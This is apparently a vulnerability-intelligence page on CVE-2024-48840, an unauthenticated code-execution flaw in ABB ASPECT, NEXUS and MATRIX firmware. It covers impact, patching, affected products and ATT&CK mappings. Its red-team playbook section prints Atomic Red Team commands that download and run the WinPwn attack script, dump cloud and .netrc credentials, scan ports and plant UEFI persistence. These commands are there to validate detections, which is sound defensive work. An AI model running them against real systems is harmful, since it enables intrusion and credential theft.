CVE-2024-48840

CRITICAL EXPLOIT Pub 05/12 Upd 05/12

Overview

The vulnerability is a code injection flaw (CWE-94) in ABB ASPECT-Enterprise and related firmware versions, caused by improper validation of user-supplied input that is executed as code. This occurs in components handling firmware or system commands, allowing attackers to inject and execute arbitrary code remotely. The root cause lies in the failure to sanitize input before processing it in critical system functions within the affected product versions.

Vulnerability Description

Unauthorized Access vulnerabilities allow Remote Code Execution.  Affected products: ABB ASPECT - Enterprise v3.08.02; NEXUS Series v3.08.02; MATRIX Series v3.08.02

Impact

An attacker with network access can exploit this vulnerability without authentication (AV:N/AC:L/PR:N/UI:N) to execute arbitrary code with high system privileges (C:H/I:H/A:L). This enables full compromise of the affected ABB ASPECT-Enterprise systems, potentially leading to unauthorized control over industrial processes and disruption of critical operations. The vulnerability allows attackers to bypass security controls and execute commands remotely, impacting confidentiality, integrity, and availability.

Solution

ABB has released patches for ASPECT-Enterprise and related firmware versions 3.08.02 to address this issue. Users should apply the updates as detailed in the ABB advisory document 9AKK108469A7497 available on ABB's official site. The advisory provides step-by-step patch instructions and recommends upgrading affected firmware to the fixed versions to mitigate the vulnerability effectively.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in specific versions of ABB's ASPECT, NEXUS, and MATRIX series products is characterized by unauthorized access, which can lead to remote code execution. This critical flaw arises from insufficient authentication mechanisms, allowing attackers to gain unauthorized access to the affected systems. Once an attacker successfully exploits this vulnerability, they can execute arbitrary code on the device, potentially leading to full system compromise. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk that necessitates immediate attention from organizations utilizing these products.

Attack vectors for this vulnerability are varied, with the most concerning being remote exploitation via the internet. An attacker could leverage this flaw by sending specially crafted requests to the affected devices, bypassing authentication controls. This could be executed from anywhere, making it particularly dangerous for organizations with exposed systems. Additionally, exploitation could be facilitated through social engineering tactics, where an attacker tricks an authorized user into executing malicious payloads. Once inside, the attacker could manipulate the system, exfiltrate sensitive data, or even pivot to other connected systems, amplifying the potential damage.

The real-world impact of this vulnerability is significant, especially for organizations relying on ABB's automation and control systems. A successful exploitation could lead to operational disruptions, financial losses, and reputational damage. For industries such as manufacturing, energy, and utilities, where these systems are often integral to daily operations, the consequences of a breach could be catastrophic. Furthermore, regulatory repercussions may arise if sensitive data is compromised, leading to legal liabilities and increased scrutiny from regulatory bodies. The potential for cascading failures in interconnected systems further exacerbates the risk, highlighting the need for robust security measures.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify weaknesses in their systems before they can be exploited. Additionally, deploying intrusion detection systems (IDS) can aid in monitoring network traffic for suspicious activity associated with exploitation attempts. Organizations should also ensure that they apply security patches and updates promptly, as these often contain fixes for known vulnerabilities. Beyond technical measures, employee training on security best practices can reduce the likelihood of successful social engineering attacks.

In conclusion, the unauthorized access vulnerability affecting ABB's ASPECT, NEXUS, and MATRIX series products poses a critical risk to organizations that utilize these systems. The potential for remote code execution through exploitation highlights the importance of proactive security measures. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Implementing comprehensive detection and mitigation strategies will be essential in safeguarding their operations and maintaining the integrity of their systems.




CSURFACE threat intelligence has identified a marked escalation in the exploitability potential of CVE-2024-48840, as evidenced by the substantial increase in the Exploit Prediction Scoring System (EPSS) score, which has risen by nearly 250%. This surge reflects growing confidence among threat actors in the feasibility of remote code execution against ABB ASPECT-Enterprise and related products. Although the 7-day trend has stabilized, the elevated EPSS score now places this vulnerability in the 95th percentile for exploitation likelihood, signaling a heightened risk environment. Concurrently, new proof-of-concept exploits targeting the unauthenticated command execution vector have emerged in public exploit repositories, further lowering the barrier for adversaries to weaponize this flaw. Our telemetry indicates that while exploitation attempts have not yet surged dramatically, the combination of increased exploitability metrics and available exploit code substantially raises the threat level. Defenders should recognize that this vulnerability has transitioned from a theoretical risk to a more imminent operational threat, necessitating increased vigilance in detection and response capabilities.

Affected Products (19)

Vendor Product Version CPE
abb Abb Aspect-Ent-2 Firmware All cpe:2.3:o:abb:aspect-ent-2_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-256 Firmware All cpe:2.3:o:abb:aspect-ent-256_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-96 Firmware All cpe:2.3:o:abb:aspect-ent-96_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128 Firmware All cpe:2.3:o:abb:nexus-2128_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-A Firmware All cpe:2.3:o:abb:nexus-2128-a_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-F Firmware All cpe:2.3:o:abb:nexus-2128-f_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-G Firmware All cpe:2.3:o:abb:nexus-2128-g_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264 Firmware All cpe:2.3:o:abb:nexus-264_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-A Firmware All cpe:2.3:o:abb:nexus-264-a_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-G Firmware All cpe:2.3:o:abb:nexus-264-g_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-3-2128 Firmware All cpe:2.3:o:abb:nexus-3-2128_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-12 Firmware All cpe:2.3:o:abb:aspect-ent-12_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-F Firmware All cpe:2.3:o:abb:nexus-264-f_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-3-264 Firmware All cpe:2.3:o:abb:nexus-3-264_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-11 Firmware All cpe:2.3:o:abb:matrix-11_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-216 Firmware All cpe:2.3:o:abb:matrix-216_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-232 Firmware All cpe:2.3:o:abb:matrix-232_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-264 Firmware All cpe:2.3:o:abb:matrix-264_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-296 Firmware All cpe:2.3:o:abb:matrix-296_firmware:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

ExploitDB (1)

Title Author Type Platform Date Link
ABB Cylon Aspect 3.08.02 (deployStart.php) - Unauthenticated Command Execution LiquidWorm hardware php - View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

1 events
Exploit Published (1 ExploitDB, 0 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
98% rce
Authentication Bypass
96% auth_bypass
Authorization Bypass
80% authz_bypass
Code Injection
80% code_injection
Insecure Direct Object Reference
53% idor

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-242 Code Injection
43%
High High
CAPEC-35 Leverage Executable Code in Non-Executable Files
33%
High Very High
CAPEC-77 Manipulating User-Controlled Variables
30%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-48840
search.abb.com
GitHub CVE
https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497&LanguageCode=en&DocumentPartId=&Action=Launch